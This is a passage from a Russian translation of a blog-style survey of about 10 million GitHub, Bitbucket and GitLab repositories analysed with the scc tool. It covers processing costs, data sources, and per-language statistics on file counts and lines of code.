устанавливать зависимости pip на моём чистом сервере казалась плохой идеей, и система ломалась странными способами, которые мне не хотелось отлаживать. Запуск всего этого на сервере выдал следующие метрики в htop, а несколько запущенных процессов git/scc (scc не отображается на этом скриншоте) предполагали, что всё работает как положено, что и подтвердилось результатами в S3. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/0e8/467/d51/0e8467d51108f3350fd90cbf3de12e7c.png) Представление и вычисление результатов ====================================== Недавно я прочитал [эти](https://mattwarren.org/2017/10/12/Analysing-C-code-on-GitHub-with-BigQuery/) [статьи](https://psuter.net/2019/07/07/z-index), поэтому у меня родилась идея позаимствовать формат этих постов в отношении подачи информации. Правда, я ещё хотел добавить [jQuery DataTables](https://www.datatables.net/) к большим таблицам, чтобы сортировать и искать/фильтровать результаты. Таким образом, в [оригинальной статье](https://boyter.org/posts/an-informal-survey-of-10-million-github-bitbucket-gitlab-projects/) вы можете щёлкнуть по заголовкам для сортировки и использовать поле поиска для фильтрации. Размер данных, которые нужно было обработать, поднял ещё один вопрос. Как обработать 10 миллионов файлов JSON, занимающих чуть более 1 ТБ дискового пространства в бакете S3? Первой мыслью была AWS Athena. Но поскольку это будет стоить что-то вроде $2,50 **за запрос** к такому набору данных, я быстро начал искать альтернативу. Тем не менее, если вы сохраните данные там и редко их обрабатываете, это может оказаться самым дешёвым решением. Я опубликовал вопрос в корпоративном чате (зачем решать проблемы в одиночку). Одна из идей заключалась в том, чтобы сбросить данные в большую базу данных SQL. Однако это означает обработку данных в БД, а затем выполнение запросов по ней несколько раз. Плюс структура данных означает несколько таблиц, что означает внешние ключи и индексы для обеспечения определённого уровня производительности. Это кажется расточительным, потому что мы могли бы просто обрабатывать данные, как мы читаем их с диска — в один проход. Я также беспокоился о создании такой большой БД. Только с данными это будет более 1 ТБ в размере перед добавлением индексов. Видя, как я создавал JSON простым способом, я подумал, почему бы не обработать результаты таким же образом? Конечно, есть одна проблема. Вытягивание 1 ТБ данных из S3 будет много стоить. В случае сбоя программы это будет раздражать. Чтобы снизить затраты, я хотел вытащить все файлы локально и сохранить их для дальнейшей обработки. Полезный совет: лучше не хранить [много маленьких файлов в одном каталоге](https://boyter.org/2014/02/storing-tracking-managing-billions-tiny-files-file-system-nightmare/). Это отстой для производительности во время выполнения, и файловым системам такое не нравится. Моим ответом на это была ещё одна простая [программа на Go](https://github.com/boyter/scc-data/blob/master/scc-tar/main.go), чтобы вытащить файлы из S3, а затем сохранить их в файле tar. Затем я мог бы обрабатывать этот файл снова и снова. Сам процесс выполняет **очень уродливая** [программа на Go](https://github.com/boyter/scc-data/blob/master/main.go) для обработки файла tar, чтобы я мог повторно запускать запросы без необходимости вытягивать данные из S3 снова и снова. Я здесь не возился с go-рутинами по двум причинам. Во-первых, я не хотел максимально загружать сервер, поэтому ограничился одним ядром для тяжёлой работы CPU (другое для чтения файла tar было в основном заблокировано на процессоре). Во-вторых, я хотел гарантировать потокобезопасность. Когда это было сделано, нужен был набор вопросов для ответа. Я снова использовал коллективный разум и подключил коллег, пока придумывал собственные идеи. Результат этого слияния разумов представлен ниже. Вы можете найти [весь код](https://github.com/boyter/scc-data), который я использовал для обработки JSON, включая код для локальной обработки, и [уродливый скрипт Python](https://github.com/boyter/scc-data/blob/master/convert_json.py), который я использовал, чтобы подготовить что-то полезное для этой статьи: пожалуйста, не комментируйте его, я знаю, что код уродлив, и он написан для одноразовой задачи, поскольку я вряд ли когда-нибудь посмотрю на него снова. Если хотите просмотреть код, который я написал для всеобщего использования, посмотрите на [исходники scc](https://github.com/boyter/scc/). Стоимость ========= Я потратил около $60 на вычисления при попытке работать с lambda. Я еще не смотрел на стоимость хранения S3, но она должна быть близка к $25, в зависимости от размера данных. Однако это не включает в себя расходы на передачу, которые я тоже не смотрел. Пожалуйста, обратите внимание, что я очистил бакет, когда закончил с ним, так что это не постоянные расходы. Но через некоторое время я всё-таки отказался от AWS. Итак, какова реальная стоимость, если бы я захотел сделать это снова? Всё программное обеспечение у нас свободное и бесплатное. Так что беспокоиться не о чем. В моём случае стоимость была бы нулевой, поскольку я использовал «бесплатные» вычислительные мощности, оставшийся от searchcode.com. Однако не у каждого есть такие свободные ресурсы. Поэтому давайте предположим, что другой человек хочет повторить это и должен поднять сервер. Это можно сделать за €73, используя самый дешёвый новый [выделенный сервер от Hetzner](https://www.hetzner.com/dedicated-rootserver), включая плату за установку нового сервера. Если подождать и покопаться в [разделе с аукционами](https://www.hetzner.com/sb), вы можете найти гораздо более дешёвые серверы без платы за установку. На момент написания статьи я нашёл машину, которая идеально подходит для этого проекта, за €25,21 в месяц без платы за установку. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/e37/074/272/e37074272dec693c88a203265a1ebc27.png) Что ещё лучше, за пределами Евросоюза с этой цены уберут НДС (VAT), так что смело отнимайте ещё 10%. Поэтому если поднимать такой сервис с нуля на моём софте, это в итоге будет стоить до $100, а скорее до $50, если вы немного терпеливы или удачливы. Это предполагает, что вы используете сервер менее двух месяцев, чего вполне достаточно для загрузки и обработки. Тут также достаточно времени для получения списка из 10 миллионов репозиториев. Если бы я использовал зазипованный tar (что на самом деле не так уж сложно), то мог бы обработать в 10 раз больше репозиториев на той же машине, а результирующий файл всё равно останется достаточно маленьким, чтобы поместиться на том же HDD. Хотя процесс может занять несколько месяцев, потому что загрузка займёт больше времени. Чтобы выйти далеко за пределы 100 миллионов репозиториев, однако, потребуется какой-то шардинг. Тем не менее, можно с уверенностью сказать, что вы повторите процесс в моём масштабе или гораздо более крупном, на том же оборудовании без особых усилий или изменений кода. Источники данных ================ Вот сколько проектов поступило от каждого из трёх источников: github, bitbucket и gitlab. Обратите внимание, что это до исключения пустых репозиториев, следовательно, сумма превышает количество репозиториев, которые фактически обработаны и учтены в последующих таблицах. | Источник | Количество | | --- | --- | | github | 9 680 111 | | bitbucket | 248 217 | | gitlab | 56 722 | Приношу прощения сотрудникам GitHub/Bitbucket/GitLab, если вы это читаете. Если мой скрипт вызвало какие-то проблемы (хотя сомневаюсь), с меня при встрече напиток на ваш выбор. Сколько файлов в репозитории? ============================= Перейдём к реальным вопросам. Начнём с простого. Сколько файлов находится в среднем репозитории? У большинства проектов всего пару файлов или побольше? После циклического перебора репозиториев получаем такой график: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/1c4/5ea/d13/1c45ead137a512cefa013d6f15de77dc.png) Здесь по оси X отложены бакеты с количеством файлов, а по Y — количество проектов с таким количеством файлов. Ограничим горизонтальную ось тысячей файлов, потому что дальше график слишком близко к оси. Кажется, будто в большинстве репозиториев меньше 200 файлов. Но что насчёт визуализации до 95-го процентиля, которая покажет реальную картину? Оказывается, в подавляющем большинстве (95%) проектов — меньше 1000 файлов. В то время как 90% проектов имеют менее 300 файлов и 85% — менее 200. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/8b9/1f0/0d4/8b91f00d434a64ef103380e56348ac3a.png) Если хотите построить график самостоятельно и сделать это получше меня, вот [ссылка на необработанные данные в JSON](https://boyter.org/static/an-informal-survey/filesPerProject.json). Какова разбивка по языкам? ========================== Например, если идентифицируется файл Java, то увеличиваем количество Java в проектах на один, а для второго файла ничего не делаем. Это даёт быстрое представление о том, какие языки наиболее часто используются. Неудивительно, что наиболее распространённые языки включают markdown, .gitignore и plaintext. Markdown — наиболее часто используемый язык, он замечен более чем в 6 миллионах проектов, что составляет около 2⁄3 от общего количества. Это имеет смысл, так как почти все проекты включают README.md который отображается в HTML для страниц репозитория. **Полный список** | Язык | Количество проектов | | --- | --- | | Markdown | 6 041 849 | | gitignore | 5 471 254 | | Plain Text | 3 553 325 | | JavaScript | 3 408 921 | | HTML | 3 397 596 | | CSS | 3 037 754 | | License | 2 597 330 | | XML | 2 218 846 | | JSON | 1 903 569 | | YAML | 1 860 523 | | Python | 1 424 505 | | Shell | 1 395 199 | | Ruby | 1 386 599 | | Java | 1 319 091 | | C Header | 1 259 519 | | Makefile | 1 215 586 | | Rakefile | 1 006 022 | | PHP | 992 617 | | Properties File | 909 631 | | SVG | 804 946 | | C | 791 773 | | C++ | 715 269 | | Batch | 645 442 | | Sass | 535 341 | | Autoconf | 505 347 | | Objective C | 503 932 | | CoffeeScript | 435 133 | | SQL | 413 739 | | Perl | 390 775 | | C# | 380 841 | | ReStructuredText | 356 922 | | MSBuild | 354 212 | | LESS | 281 286 | | CSV | 275 143 | | C++ Header | 199 245 | | CMake | 173 482 | | Patch | 169 078 | | Assembly | 165 587 | | XML Schema | 148 511 | | m4 | 147 204 | | JavaServer Pages | 142 605 | | Vim Script | 134 156 | | Scala | 132 454 | | Objective C++ | 127 797 | | Gradle | 126 899 | | Module-Definition | 120 181 | | Bazel | 114 842 | | R | 113 770 | | ASP.NET | 111 431 | | Go Template | 111 263 | | Document Type Definition | 109 710 | | Gherkin Specification | 107 187 | | Smarty Template | 106 668 | | Jade | 105 903 | | Happy | 105 631 | | Emacs Lisp | 105 620 | | Prolog | 102 792 | | Go | 99 093 | | Lua | 98 232 | | BASH | 95 931 | | D | 94 400 | | ActionScript | 93 066 | | TeX | 84 841 | | Powershell | 80 347 | | AWK | 79 870 | | Groovy | 75 796 | | LEX | 75 335 | | nuspec | 72 478 | | sed | 70 454 | | Puppet | 67 732 | | Org | 67 703 | | Clojure | 67 145 | | XAML | 65 135 | | TypeScript | 62 556 | | Systemd | 58 197 | | Haskell | 58 162 | | XCode Config | 57 173 | | Boo | 55 318 | | LaTeX | 55 093 | | Zsh | 55 044 | | Stylus | 54 412 | | Razor | 54 102 | | Handlebars | 51 893 | | Erlang | 49 475 | | HEX | 46 442 | | Protocol Buffers | 45 254 | | Mustache | 44 633 | | ASP | 43 114 | | Extensible Stylesheet Language Transformations | 42 664 | | Twig Template | 42 273 | | Processing | 41 277 | | Dockerfile | 39 664 | | Swig | 37 539 | | LD Script | 36 307 | | FORTRAN Legacy | 35 889 | | Scons | 35 373 | | Scheme | 34 982 | | Alex | 34 221 | | TCL | 33 766 | | Android Interface Definition Language | 33 000 | | Ruby HTML | 32 645 | | Device Tree | 31 918 | | Expect | 30 249 | | Cabal | 30 109 | | Unreal Script | 29 113 | | Pascal | 28 439 | | GLSL | 28 417 | | Intel HEX | 27 504 | | Alloy | 27 142 | | Freemarker Template | 26 456 | | IDL | 26 079 | | Visual Basic for Applications | 26 061 | | Macromedia eXtensible Markup Language | 24 949 | | F# | 24 373 | | Cython | 23 858 | | Jupyter | 23 577 | | Forth | 22 108 | | Visual Basic | 21 909 | | Lisp | 21 242 | | OCaml | 20 216 | | Rust | 19 286 | | Fish | 18 079 | | Monkey C | 17 753 | | Ada | 17 253 | | SAS | 17 031 | | Dart | 16 447 | | TypeScript Typings | 16 263 | | SystemVerilog | 15 541 | | Thrift | 15 390 | | C Shell | 14 904 | | Fragment Shader File | 14 572 | | Vertex Shader File | 14 312 | | QML | 13 709 | | ColdFusion | 13 441 | | Elixir | 12 716 | | Haxe | 12 404 | | Jinja | 12 274 | | JSX | 12 194 | | Specman e | 12 071 | | FORTRAN Modern | 11 460 | | PKGBUILD | 11 398 | | ignore | 11 287 | | Mako | 10 846 | | TOML | 10 444 | | SKILL | 10 048 | | AsciiDoc | 9 868 | | Swift | 9 679 | | BuildStream | 9 198 | | ColdFusion CFScript | 8 614 | | Stata | 8 296 | | Creole | 8 030 | | Basic | 7 751 | | V | 7 560 | | VHDL | 7 368 | | Julia | 7 070 | | ClojureScript | 7 018 | | Closure Template | 6 269 | | AutoHotKey | 5 938 | | Wolfram | 5 764 | | Docker ignore | 5 555 | | Korn Shell | 5 541 | | Arvo | 5 364 | | Coq | 5 068 | | SRecode Template | 5 019 | | Game Maker Language | 4 557 | | Nix | 4 216 | | Vala | 4 110 | | COBOL | 3 946 | | Varnish Configuration | 3 882 | | Kotlin | 3 683 | | Bitbake | 3 645 | | GDScript | 3 189 | | Standard ML (SML) | 3 143 | | Jenkins Buildfile | 2 822 | | Xtend | 2 791 | | ABAP | 2 381 | | Modula3 | 2 376 | | Nim | 2 273 | | Verilog | 2 013 | | Elm | 1 849 | | Brainfuck | 1 794 | | Ur/Web | 1 741 | | Opalang | 1 367 | | GN | 1 342 | | TaskPaper | 1 330 | | Ceylon | 1 265 | | Crystal | 1 259 | | Agda | 1 182 | | Vue | 1 139 | | LOLCODE | 1 101 | | Hamlet | 1 071 | | Robot Framework | 1 062 | | MUMPS | 940 | | Emacs Dev Env | 937 | | Cargo Lock | 905 | | Flow9 | 839 | | Idris | 804 | | Julius | 765 | | Oz | 764 | | Q# | 695 | | Lucius | 627 | | Meson | 617 | | F\* | 614 | | ATS | 492 | | PSL Assertion | 483 | | Bitbucket Pipeline | 418 | | PureScript | 370 | | Report Definition Language | 313 | | Isabelle | 296 | | JAI | 286 | | MQL4 | 271 | | Ur/Web Project | 261 | | Alchemist | 250 | | Cassius | 213 | | Softbridge Basic | 207 | | MQL Header | 167 | | JSONL | 146 | | Lean | 104 | | Spice Netlist | 100 | | Madlang | 97 | | Luna | 91 | | Pony | 86 | | MQL5 | 46 | | Wren | 33 | | Just | 30 | | QCL | 27 | | Zig | 21 | | SPDX | 20 | | Futhark | 16 | | Dhall | 15 | | FIDL | 14 | | Bosque | 14 | | Janet | 13 | | Game Maker Project | 6 | | Polly | 6 | | Verilog Args File | 2 | Сколько файлов в репозитории по языкам? ======================================= Дополнение к предыдущей таблице, но усреднённое по количеству файлов на каждый язык в репозитории. То есть сколько файлов Java существует в среднем для всех проектов, где есть Java? **Полный список** | Язык | Среднее количество файлов | | --- | --- | | ABAP | 1,0008927583699165 | | ASP | 1,6565139917314107 | | ASP.NET | 346,88867258489296 | | ATS | 7,888545610390882 | | AWK | 5,098807478952136 | | ActionScript | 15,682562363539644 | | Ada | 7,265376817272021 | | Agda | 1,2669381110755398 | | Alchemist | 7,437307493090622 | | Alex | 20,152479318023637 | | Alloy | 1,0000000894069672 | | Android Interface Definition Language | 3,1133707938643074 | | Arvo | 9,872687772928423 | | AsciiDoc | 14,645389421879814 | | Assembly | 1049,6270518312476 | | AutoHotKey | 1,5361384288472488 | | Autoconf | 33,99728695464163 | | BASH | 3,7384110335355545 | | Basic | 5,103623499110781 | | Batch | 3,943513588378872 | | Bazel | 1,0013122734382187 | | Bitbake | 1,0878349272366024 | | Bitbucket Pipeline | 1 | | Boo | 5,321822367969364 | | Bosque | 1,28173828125 | | Brainfuck | 1,3141119785974242 | | BuildStream | 1,4704635441667189 | | C | 15610,17972307699 | | C Header | 14103,33936083782 | | C Shell | 3,1231084093649315 | | C# | 45,804460355773394 | | C++ | 30,416980313492328 | | C++ Header | 8,313450764990089 | | CMake | 37,2566873554469 | | COBOL | 3,129408853490878 | | CSS | 5,332398714337156 | | CSV | 8,370432089241898 | | Cabal | 1,0078125149013983 | | Cargo Lock | 1,0026407549221519 | | Cassius | 4,657169356495984 | | Ceylon | 7,397692655679642 | | Clojure | 8,702303821528872 | | ClojureScript | 5,384518778099244 | | Closure Template | 1,0210028022356945 | | CoffeeScript | 45,40906609668401 | | ColdFusion | 13,611857060674573 | | ColdFusion CFScript | 40,42554202020521 | | Coq | 10,903652047164622 | | Creole | 1,000122070313864 | | Crystal | 3,8729367926098117 | | Cython | 1,9811811237515262 | | D | 529,2562750397005 | | Dart | 1,5259554297822313 | | Device Tree | 586,4119588123021 | | Dhall | 5,072265625 | | Docker ignore | 1,0058596283197403 | | Dockerfile | 1,7570825852789156 | | Document Type Definition | 2,2977520758534693 | | Elixir | 8,916658446524252 | | Elm | 1,6702759813968946 | | Emacs Dev Env | 15,720268315288969 | | Emacs Lisp | 11,378847912292201 | | Erlang | 3,4764894379621607 | | Expect | 2,8863991651091614 | | Extensible Stylesheet Language Transformations | 1,2042068607534995 | | F# | 1,2856606249320954 | | F\* | 32,784058919015 | | FIDL | 1,8441162109375 | | FORTRAN Legacy | 11,37801716560221 | | FORTRAN Modern | 27,408192558594685 | | Fish | 1,1282354207617833 | | Flow9 | 5,218046229973186 | | Forth | 10,64736177807574 | | Fragment Shader File | 3,648087980622546 | | Freemarker Template | 8,397226930409037 | | Futhark | 4,671875 | | GDScript | 3,6984173692608313 | | GLSL | 1,6749061330076334 | | GN | 1,0193083210608163 | | Game Maker Language | 3,6370866431049604 | | Game Maker Project | 1,625 | | Gherkin Specification | 60,430588516231666 | | Go | 115,23482489228113 | | Go Template | 28,011342078505013 | | Gradle | 5,628880473160033 | | Groovy | 6,697367294187844 | | HEX | 22,477003537989486 | | HTML | 4,822243456786672 | | Hamlet | 50,297887645777536 | | Handlebars | 36,60120978679127 | | Happy | 5,820573911044464 | | Haskell | 8,730027121836951 | | Haxe | 20,00590981880653 | | IDL | 79,38510300176867 | | Idris | 1,524684997890027 | | Intel HEX | 113,25178379632708 | | Isabelle | 1,8903018088753136 | | JAI | 1,4865150753259275 | | JSON | 6,507823973898348 | | JSONL | 1,003931049286678 | | JSX | 4,6359645801363465 | | Jade | 5,353279289700571 | | Janet | 1,0390625 | | Java | 118,86142228014006 | | JavaScript | 140,56079100796154 | | JavaServer Pages | 2,390251418283771 | | Jenkins Buildfile | 1,0000000000582077 | | Jinja | 4,574843152310338 | | Julia | 6,672268339671913 | | Julius | 2,2510109380818903 | | Jupyter | 13,480476117239338 | | Just | 1,736882857978344 | | Korn Shell | 1,5100887455636172 | | Kotlin | 3,9004723322169363 | | LD Script | 16,59996086864524 | | LESS | 39,6484785300563 | | LEX | 5,892075421476933 | | LOLCODE | 1,0381496530137617 | | LaTeX | 5,336103768010524 | | Lean | 1,6653789470747329 | | License | 5,593879701111845 | | Lisp | 33,15947937896521 | | Lua | 24,796117625764612 | | Lucius | 6,5742989471450155 | | Luna | 4,437807061133055 | | MQL Header | 13,515527575704464 | | MQL4 | 6,400151428436254 | | MQL5 | 46,489316522221515 | | MSBuild | 4,8321384193507875 | | MUMPS | 8,187699062741014 | | Macromedia eXtensible Markup Language | 2,1945287114300807 | | Madlang | 3,7857666909751373 | | Makefile | 1518,1769808494607 | | Mako | 3,410234685769436 | | Markdown | 45,687500000234245 | | Meson | 32,45071679724949 | | Modula3 | 1,1610784588847318 | | Module-Definition | 4,9327688042002595 | | Monkey C | 3,035163164383345 | | Mustache | 19,052714578803542 | | Nim | 1,202213335585401 | | Nix | 2,7291879559930488 | | OCaml | 3,7135029841909697 | | Objective C | 4,9795510788040005 | | Objective C++ | 2,2285232767506264 | | Opalang | 1,9975597794742732 | | Org | 5,258117805392903 | | Oz | 22,250069644336204 | | PHP | 199,17870638869982 | | PKGBUILD | 7,50632295051949 | | PSL Assertion | 3,0736406530442473 | | Pascal | 90,55238627885495 | | Patch | 25,331829692384225 | | Perl | 27,46770444081142 | | Plain Text | 1119,2375825397799 | | Polly | 1 | | Pony | 3,173291031071342 | | Powershell | 6,629884642978543 | | Processing | 9,139907354078636 | | Prolog | 1,816763080890156 | | Properties File | 2,1801967863634255 | | Protocol Buffers | 2,0456253005879304 | | Puppet | 43,424491631161054 | | PureScript | 4,063801504037935 | | Python | 22,473917606983292 | | Q# | 5,712939431518483 | | QCL | 7,590678825974464 | | QML | 1,255201818986247 | | R | 2,3781868952970115 | | Rakefile | 14,856192677576413 | | Razor | 62,79058974450959 | | ReStructuredText | 11,63852408056825 | | Report Definition Language | 23,065085061465403 | | Robot Framework | 2,6260137148703535 | | Ruby | 554,0134362337432 | | Ruby HTML | 24,091116656979562 | | Rust | 2,3002003813895207 | | SAS | 1,0032075758254648 | | SKILL | 1,9229039972029645 | | SPDX | 2,457843780517578 | | SQL | 2,293643752864969 | | SRecode Template | 20,688193360975845 | | SVG | 4,616972531365432 | | Sass | 42,92418345584642 | | Scala | 1,5957851387966393 | | Scheme | 10,480490204644848 | | Scons | 2,1977062552968114 | | Shell | 41,88552208947577 | | Smarty Template | 6,90615223295527 | | Softbridge Basic | 22,218602385698304 | | Specman e | 2,719783829645327 | | Spice Netlist | 2,454830619852739 | | Standard ML (SML) | 3,7598713626650295 | | Stata | 2,832579915520368 | | Stylus | 7,903926412469745 | | Swift | 54,175594149331914 | | Swig | 2,3953681161240747 | | SystemVerilog | 7,120705494624247 | | Systemd | 80,83254275520476 | | TCL | 46,9378307136513 | | TOML | 1,0316491217260413 | | TaskPaper | 1,0005036006351133 | | TeX | 8,690789447558961 | | Thrift | 1,620168483240211 | | Twig Template | 18,33051814392764 | | TypeScript | 1,2610517452930048 | | TypeScript Typings | 2,3638072576034137 | | Unreal Script | 2,9971615019965148 | | Ur/Web | 3,420488425604595 | | Ur/Web Project | 1,8752869585517504 | | V | 1,8780624768245784 | | VHDL | 5,764059992075602 | | Vala | 42,22072166146626 | | Varnish Configuration | 1,9899734258599446 | | Verilog | 1,443359777332832 | | Verilog Args File | 25,5 | | Vertex Shader File | 2,4700152399875077 | | Vim Script | 3,2196359799822662 | | Visual Basic | 119,8397831247842 | | Visual Basic for Applications | 2,5806381264096503 | | Vue | 249,0557418123258 | | Wolfram | 1,462178856761796 | | Wren | 227,4526259500999 | | XAML | 2,6149608174399264 | | XCode Config | 6,979387911493798 | | XML | 146,10128153519918 | | XML Schema | 6,832042266604565 | | Xtend | 2,87054940757827 | | YAML | 6,170148717655746 | | Zig | 1,071681022644043 | | Zsh | 2,6295064863912088 | | gitignore | 6,878908416722053 | | ignore | 1,0210649380633772 | | m4 | 57,5969985568356 | | nuspec | 3,245791111381787 | | sed | 1,3985770380241234 | Сколько строк кода в типичном файле по языкам? ============================================== Полагаю, ещё интересно посмотреть, на каких языках в среднем самые большие файлы? Использование среднего арифметического порождает аномально высокие числа из-за проектов вроде sqlite.c, который включён во многие репозитории, объединяя много файлов в один, но никто никогда не работает над этим одним большим файлом (я надеюсь!) Поэтому я считал среднее по медиане. Тем не менее, всё равно остались языки с абсурдно высокими значениями, такие как Bosque и JavaScript. Так что я подумал, почему бы не сделать ход конём? По предложению [Даррела](https://www.packtpub.com/au/big-data-and-business-intelligence/hands-deep-learning-go) (резидент Kablamo и превосходный учёный по данным) я сделал одно небольшое изменение и изменил среднее арифметическое, отбросив файлы более 5000 строк, чтобы удалить аномалии. **Полный список** | Язык | Среднее < 5000 | Медианное | | --- | --- | --- | | ABAP | 139 | 36 | | ASP | 513 | 170 | | ASP.NET | 315 | 148 | | ATS | 945 | 1 411 | | AWK | 431 | 774 | | ActionScript | 950 | 2 676 | | Ada | 1 179 | 13 | | Agda | 466 | 89 | | Alchemist | 1 040 | 1 463 | | Alex | 479 | 204 | | Alloy | 72 | 66 | | Android Interface Definition Language | 119 | 190 | | Arvo | 257 | 1 508 | | AsciiDoc | 519 | 1 724 | | Assembly | 993 | 225 | | AutoHotKey | 360 | 23 | | Autoconf | 495 | 144 | | BASH | 425 | 26 | | Basic | 476 | 847 | | Batch | 178 | 208 | | Bazel | 226 | 20 | | Bitbake | 436 | 10 | | Bitbucket Pipeline | 19 | 13 | | Boo | 898 | 924 | | Bosque | 58 | 199 238 | | Brainfuck | 141 | 177 | | BuildStream | 1 955 | 2 384 | | C | 1 052 | 5 774 | | C Header | 869 | 126 460 | | C Shell | 128 | 77 | | C# | 1 215 | 1 138 | | C++ | 1 166 | 232 | | C++ Header | 838 | 125 | | CMake | 750 | 15 | | COBOL | 422 | 24 | | CSS | 729 | 103 | | CSV | 411 | 12 | | Cabal | 116 | 13 | | Cargo Lock | 814 | 686 | | Cassius | 124 | 634 | | Ceylon | 207 | 15 | | Clojure | 521 | 19 | | ClojureScript | 504 | 195 | | Closure Template | 343 | 75 | | CoffeeScript | 342 | 168 | | ColdFusion | 686 | 5 | | ColdFusion CFScript | 1 231 | 1 829 | | Coq | 560 | 29 250 | | Creole | 85 | 20 | | Crystal | 973 | 119 | | Cython | 853 | 1 738 | | D | 397 | 10 | | Dart | 583 | 500 | | Device Tree | 739 | 44 002 | | Dhall | 124 | 99 | | Docker ignore | 10 | 2 | | Dockerfile | 76 | 17 | | Document Type Definition | 522 | 1 202 | | Elixir | 402 | 192 | | Elm | 438 | 121 | | Emacs Dev Env | 646 | 755 | | Emacs Lisp | 653 | 15 | | Erlang | 930 | 203 | | Expect | 419 | 195 | | Extensible Stylesheet Language Transformations | 442 | 600 | | F# | 384 | 64 | | F\* | 335 | 65 | | FIDL | 655 | 1 502 | | FORTRAN Legacy | 277 | 1 925 | | FORTRAN Modern | 636 | 244 | | Fish | 168 | 74 | | Flow9 | 368 | 32 | | Forth | 256 | 62 | | Fragment Shader File | 309 | 11 | | Freemarker Template | 522 | 20 | | Futhark | 175 | 257 | | GDScript | 401 | 1 | | GLSL | 380 | 29 | | GN | 950 | 8 866 | | Game Maker Language | 710 | 516 | | Game Maker Project | 1 290 | 374 | | Gherkin Specification | 516 | 2 386 | | Go | 780 | 558 | | Go Template | 411 | 25 342 | | Gradle | 228 | 22 | | Groovy | 734 | 13 | | HEX | 1 002 | 17 208 | | HTML | 556 | 1 814 | | Hamlet | 220 | 70 | | Handlebars | 506 | 3 162 | | Happy | 1 617 | 0 | | Haskell | 656 | 17 | | Haxe | 865 | 9 607 | | IDL | 386 | 210 | | Idris | 285 | 42 | | Intel HEX | 1 256 | 106 650 | | Isabelle | 792 | 1 736 | | JAI | 268 | 41 | | JSON | 289 | 39 | | JSONL | 43 | 2 | | JSX | 393 | 24 | | Jade | 299 | 192 | | Janet | 508 | 32 | | Java | 1 165 | 697 | | JavaScript | 894 | 73 979 | | JavaServer Pages | 644 | 924 | | Jenkins Buildfile | 79 | 6 | | Jinja | 465 | 3 914 | | Julia | 539 | 1 031 | | Julius | 113 | 12 | | Jupyter | 1 361 | 688 | | Just | 62 | 72 | | Korn Shell | 427 | 776 | | Kotlin | 554 | 169 | | LD Script | 521 | 439 | | LESS | 1 086 | 17 | | LEX | 1 014 | 214 | | LOLCODE | 129 | 4 | | LaTeX | 895 | 7 482 | | Lean | 181 | 9 | | License | 266 | 20 | | Lisp | 746 | 1 201 | | Lua | 820 | 559 | | Lucius | 284 | 445 | | Luna | 85 | 48 | | MQL Header | 793 | 10 337 | | MQL4 | 799 | 3 168 | | MQL5 | 384 | 631 | | MSBuild | 558 | 160 | | MUMPS | 924 | 98 191 | | Macromedia eXtensible Markup Language | 500 | 20 | | Madlang | 368 | 340 | | Makefile | 309 | 20 | | Mako | 269 | 243 | | Markdown | 206 | 10 | | Meson | 546 | 205 | | Modula3 | 162 | 17 | | Module-Definition | 489 | 7 | | Monkey C | 140 | 28 | | Mustache | 298 | 8 083 | | Nim | 352 | 3 | | Nix | 240 | 78 | | OCaml | 718 | 68 | | Objective C | 1 111 | 17 103 | | Objective C++ | 903 | 244 | | Opalang | 151 | 29 | | Org | 523 | 24 | | Oz | 360 | 7 132 | | PHP | 964 | 14 660 | | PKGBUILD | 131 | 19 | | PSL Assertion | 149 | 108 | | Pascal | 1 044 | 497 | | Patch | 676 | 12 | | Perl | 762 | 11 | | Plain Text | 352 | 841 | | Polly | 12 | 26 | | Pony | 338 | 42 488 | | Powershell | 652 | 199 | | Processing | 800 | 903 | | Prolog | 282 | 6 | | Properties File | 184 | 18 | | Protocol Buffers | 576 | 8 080 | | Puppet | 499 | 660 | | PureScript | 598 | 363 | | Python | 879 | 258 | | Q# | 475 | 5 417 | | QCL | 548 | 3 | | QML | 815 | 6 067 | | R | 566 | 20 | | Rakefile | 122 | 7 | | Razor | 713 | 1 842 | | ReStructuredText | 735 | 5 049 | | Report Definition Language | 1 389 | 34 337 | | Robot Framework | 292 | 115 | | Ruby | 739 | 4 942 | | Ruby HTML | 326 | 192 | | Rust | 1 007 | 4 | | SAS | 233 | 65 | | SKILL | 526 | 123 | | SPDX | 1 242 | 379 | | SQL | 466 | 143 | | SRecode Template | 796 | 534 | | SVG | 796 | 1 538 | | Sass | 682 | 14 653 | | Scala | 612 | 661 | | Scheme | 566 | 6 | | Scons | 545 | 6 042 | | Shell | 304 | 4 | | Smarty Template | 392 | 15 | | Softbridge Basic | 2 067 | 3 | | Specman e | 127 | 0 | | Spice Netlist | 906 | 1 465 | | Standard ML (SML) | 478 | 75 | | Stata | 200 | 12 | | Stylus | 505 | 214 | | Swift | 683 | 663 | | Swig | 1 031 | 4 540 | | SystemVerilog | 563 | 830 | | Systemd | 127 | 26 | | TCL | 774 | 42 396 | | TOML | 100 | 17 | | TaskPaper | 37 | 7 | | TeX | 804 | 905 | | Thrift | 545 | 329 | | Twig Template | 713 | 9 907 | | TypeScript | 461 | 10 | | TypeScript Typings | 1 465 | 236 866 | | Unreal Script | 795 | 927 | | Ur/Web | 429 | 848 | | Ur/Web Project | 33 | 26 | | V | 704 | 5 711 | | VHDL | 952 | 1 452 | | Vala | 603 | 2 | | Varnish Configuration | 203 | 77 | | Verilog | 198 | 2 | | Verilog Args File | 456 | 481 | | Vertex Shader File | 168 | 74 | | Vim Script | 555 | 25 | | Visual Basic | 738 | 1 050 | | Visual Basic for Applications | 979 | 936 | | Vue | 732 | 242 | | Wolfram | 940 | 973 | | Wren | 358 | 279 258 | | XAML | 703 | 24 | | XCode Config | 200 | 11 | | XML | 605 | 1 033 | | XML Schema | 1 008 | 248 | | Xtend | 710 | 120 | | YAML | 165 | 47 327 | | Zig | 188 | 724 | | Zsh | 300 | 9 | | gitignore | 33 | 3 | | ignore | 6 | 2 | | m4 | 959 | 807 | | nuspec | 187 | 193 | | sed | 82 | 33 | Средняя сложность файла на каждом языке? ======================================== Какова средняя сложность файла для каждого языка? На самом деле оценку сложности нельзя сопоставлять напрямую между языками. Выдержка из readme самого `scc`: > Оценка сложности — это лишь число, которое можно сопоставлять только между файлами на одном языке. Её не следует использовать для сравнения языков напрямую. Причина в том, что она вычисляется поиском операторов ветвления и цикла для каждого файла. Таким образом, здесь нельзя сравнивать языки друг с другом, хотя это можно сделать между аналогичными языками, такими как Java и C, например. Это более ценная метрика для отдельных файлов на том же языке. Таким образом, вы можете ответить на вопрос «Этот 